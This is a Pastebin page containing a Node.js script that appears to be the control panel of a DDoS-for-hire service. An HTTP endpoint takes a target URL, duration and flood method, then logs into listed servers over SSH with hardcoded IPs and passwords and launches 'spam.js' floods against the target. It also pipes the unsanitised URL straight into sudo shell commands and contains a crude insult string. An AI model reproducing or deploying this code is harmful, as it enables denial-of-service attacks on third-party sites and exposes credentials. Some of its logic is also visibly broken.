Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
9,072
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.27 KB | None | 0 0
  1. const net = require('net');
  2. const Client = require('ssh2').Client;
  3. const http = require('http');
  4. const url = require('url');
  5. const fs = require('fs');
  6.  
  7. const methods = [
  8. "SPAMGET",
  9. "SPAMPOST",
  10. "BYPASS",
  11.  
  12. "STOP"
  13. ];
  14.  
  15.  
  16. var servers = [
  17.  
  18. {
  19. ip: "101.99.90.71",
  20. username: "admin",
  21. password: "wtfY@xv4o%MhS%DaQoBxo8fxJhqwndTT@H2"
  22. },
  23. {
  24. ip: "1.2.3.22",
  25. username: "root",
  26. password: "password"
  27. },
  28.  
  29. ]
  30.  
  31.  
  32. var keys = [{
  33. key: "TkAd6wCjRTVdnBJVn7cTJEKJ6JEB5XmfZjf",
  34. concurrents: 4,
  35. maxtime: 1800,
  36. attacks: 0,
  37. admin: true
  38. }]
  39.  
  40.  
  41. process.on('uncaughtException', function(e) {
  42. console.warn(e);
  43. });
  44.  
  45. process.on('unhandledRejection', function(e) {
  46. console.warn(e);
  47. });
  48. var client = new net.Socket();
  49.  
  50. var httpServer = http.createServer().on('request', function(request, response) {
  51. request.query = url.parse(request.url, true).query;
  52. if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
  53. if (!request.query.url) {
  54. return response.end('{"error": "No URL mentioned."}');
  55. }
  56. if (!request.query.time) {
  57. return response.end('{"error": "No time given"}');
  58. }
  59. if (!request.query.method) {
  60. return response.end('{"error": "No method given"}');
  61. }
  62. if (request.query.key || request.query.dns) {
  63. if (request.query.key == keys["key"]) {
  64. if (request.query.dns) {
  65. request.query.keydb = {
  66. concurrents: 1e3,
  67. maxtime: 1e6,
  68. attacks: -1e6
  69. };
  70. }
  71. if (request.query.method == 'STOPALL') {
  72. if (request.query.keydb.admin) {
  73. execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
  74. response.end("Attack has been sent on " + request.query.url);
  75. }
  76. }
  77. else if (request.query.method == 'SPAMGET') {
  78. if (request.query.keydb.admin) {
  79. execute("sudo node spam.js " + "get " + request.query.url + " " + request.query.time);
  80. response.end("Attack has been sent on " + request.query.url);
  81. }
  82. else if (request.query.method == 'SPAMPOST') {
  83. if (request.query.keydb.admin) {
  84. execute("sudo node spam.js " + request.query.url + " " + request.query.time);
  85. response.end("Attack has been sent on " + "post " + request.query.url);
  86. }
  87. }
  88. else if (request.query.method == 'STOP') {
  89. if (request.query.keydb.admin) {
  90. execute("sudo pkill " + request.query.url + " -f");
  91. response.end("Stopped attack on " + request.query.url);
  92. }
  93. }
  94. } else {
  95. response.end("Wrong key");
  96. }
  97. } else {
  98. response.end("No key was mentioned.");
  99. }
  100. } else {
  101. response.setHeader('content-type', 'text/html');
  102. return response.end('maintenance');
  103. }
  104. });
  105. httpServer.listen(12,function(){
  106. console.log('Server is running on port 12');
  107. });
  108. function execute(command, serversLimit) {
  109. servers.forEach(function(server) {
  110. var conn = new Client();
  111. conn.on('ready', function() {
  112. console.log('Client :: ready');
  113. conn.exec(command, function(err, stream) {
  114. if (err) throw err;
  115. stream.on('close', function(code, signal) {
  116. console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  117. conn.end();
  118. }).on('data', function(data) {
  119. console.log('STDOUT: ' + data);
  120. }).stderr.on('data', function(data) {
  121. console.log('STDERR: ' + data);
  122. });
  123. });
  124. }).connect({
  125. host: server.ip,
  126. port: 22,
  127. username: server.username,
  128. password: server.password
  129. });
  130. });
  131. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement